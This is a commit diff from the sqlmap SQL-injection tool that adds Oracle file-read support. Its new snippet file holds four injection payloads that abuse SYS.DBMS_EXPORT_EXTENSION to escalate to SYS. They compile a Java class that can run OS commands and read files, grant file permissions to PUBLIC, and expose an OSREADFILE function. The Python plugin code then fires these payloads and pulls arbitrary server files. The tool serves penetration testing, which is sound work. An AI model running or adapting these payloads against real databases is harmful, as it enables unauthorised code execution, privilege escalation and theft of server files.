Skip to content

Commit c00a642

Browse files
committed
Implementing support for --file-read on Oracle (Issue sqlmapproject#26)
1 parent b3cdec5 commit c00a642

File tree

5 files changed

+55
-11
lines changed

5 files changed

+55
-11
lines changed
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
2+
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
3+
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
4+
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL

lib/core/agent.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -265,7 +265,7 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None):
265265

266266
return query
267267

268-
def suffixQuery(self, expression, comment=None, suffix=None, where=None):
268+
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
269269
"""
270270
This method appends the DBMS comment to the
271271
SQL injection request
@@ -303,7 +303,7 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None):
303303

304304
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
305305

306-
return re.sub(r";\W*;", ";", expression)
306+
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
307307

308308
def cleanupPayload(self, payload, origValue=None):
309309
if payload is None:

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.3.6.6"
21+
VERSION = "1.3.6.7"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/techniques/error/use.py

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -74,16 +74,19 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
7474

7575
threadData.resumed = retVal is not None and not partialValue
7676

77-
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
77+
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
7878
debugMsg = "searching for error chunk length..."
7979
logger.debug(debugMsg)
8080

8181
current = MAX_ERROR_CHUNK_LENGTH
8282
while current >= MIN_ERROR_CHUNK_LENGTH:
8383
testChar = str(current % 10)
8484

85-
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
86-
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
85+
if Backend.isDbms(DBMS.ORACLE):
86+
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
87+
else:
88+
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
89+
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
8790

8891
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
8992

@@ -112,7 +115,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
112115
if field:
113116
nulledCastedField = agent.nullAndCastField(field)
114117

115-
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
118+
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
116119
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
117120
if extendedField != field: # e.g. MIN(surname)
118121
nulledCastedField = extendedField.replace(field, nulledCastedField)
@@ -172,7 +175,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
172175
else:
173176
output = output.rstrip()
174177

175-
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
178+
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
176179
if offset == 1:
177180
retVal = output
178181
else:

plugins/dbms/oracle/filesystem.py

Lines changed: 40 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,51 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8+
from lib.core.agent import agent
9+
from lib.core.common import dataToOutFile
10+
from lib.core.common import decodeDbmsHexValue
11+
from lib.core.common import getSQLSnippet
12+
from lib.core.data import kb
13+
from lib.core.data import logger
14+
from lib.core.enums import CHARSET_TYPE
15+
from lib.core.enums import DBMS
816
from lib.core.exception import SqlmapUnsupportedFeatureException
17+
from lib.request import inject
18+
from lib.request.connect import Connect as Request
919
from plugins.generic.filesystem import Filesystem as GenericFilesystem
1020

1121
class Filesystem(GenericFilesystem):
1222
def readFile(self, remoteFile):
13-
errMsg = "File system read access not yet implemented for "
14-
errMsg += "Oracle"
15-
raise SqlmapUnsupportedFeatureException(errMsg)
23+
localFilePaths = []
24+
snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
25+
26+
for query in snippet.split("\n"):
27+
query = query.strip()
28+
query = agent.prefixQuery("OR (%s) IS NULL" % query)
29+
query = agent.suffixQuery(query, trimEmpty=False)
30+
payload = agent.payload(newValue=query)
31+
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
32+
33+
for remoteFile in remoteFile.split(','):
34+
infoMsg = "fetching file: '%s'" % remoteFile
35+
logger.info(infoMsg)
36+
37+
kb.fileReadMode = True
38+
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
39+
kb.fileReadMode = False
40+
41+
if fileContent is not None:
42+
fileContent = decodeDbmsHexValue(fileContent, True)
43+
44+
if fileContent:
45+
localFilePath = dataToOutFile(remoteFile, fileContent)
46+
47+
localFilePaths.append(localFilePath)
48+
else:
49+
errMsg = "no data retrieved"
50+
logger.error(errMsg)
51+
52+
return localFilePaths
1653

1754
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
1855
errMsg = "File system write access not yet implemented for "

0 commit comments

Comments
 (0)